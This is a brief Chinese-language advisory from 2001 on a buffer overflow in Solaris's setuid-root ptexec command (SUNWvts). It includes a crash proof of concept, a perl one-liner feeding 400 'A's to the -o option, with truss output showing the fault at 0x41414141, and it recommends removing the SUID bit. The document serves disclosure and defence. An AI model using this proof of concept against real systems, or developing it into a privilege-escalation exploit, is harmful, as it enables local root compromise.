Solaris /opt/SUNWvts/bin/ptexec 存在缓冲溢出发布时间:2001-06-23 更新时间:2001-06-23 严重程度:高 威胁程度:本地管理员权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 SunOS 5.8 SPARC详细描述 SUNWvts 工具包(不是Solaris的默认安装工具)中的ptexec命令是以setuid root默认安装,其中在处理-o选项的用户输入时没有很好的进行边界检查, 缓冲溢出将在提交大于400字符时产生。 测试代码 # uname -a SunOS laika 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10 # > .sunvts_sec_gss # /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'` Segmentation Fault (core dumped) # truss /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'` execve("/opt/SUNWvts/bin/ptexec", 0xFFBEFA44, 0xFFBEFA54) argc = 3 stat("/opt/SUNWvts/bin/ptexec", 0xFFBEF780) = 0 open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT open("/usr/lib/librpcsvc.so.1", O_RDONLY) = 3 fstat(3, 0xFFBEF518) = 0 mmap(0x00000000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xFF3A0000 [.....] sigprocmask(SIG_SETMASK, 0xFF23F010, 0x00000000) = 0 sigaction(SIGSEGV, 0xFFBEE388, 0x00000000) = 0 sigprocmask(SIG_SETMASK, 0xFF24ADE0, 0x00000000) = 0 setcontext(0xFFBEE248) Incurred fault #6, FLTBOUNDS %pc = 0xFF139FF0 siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141 Received signal #11, SIGSEGV [default] siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141 *** process killed *** 解决方案 去掉SUID位 相关信息 |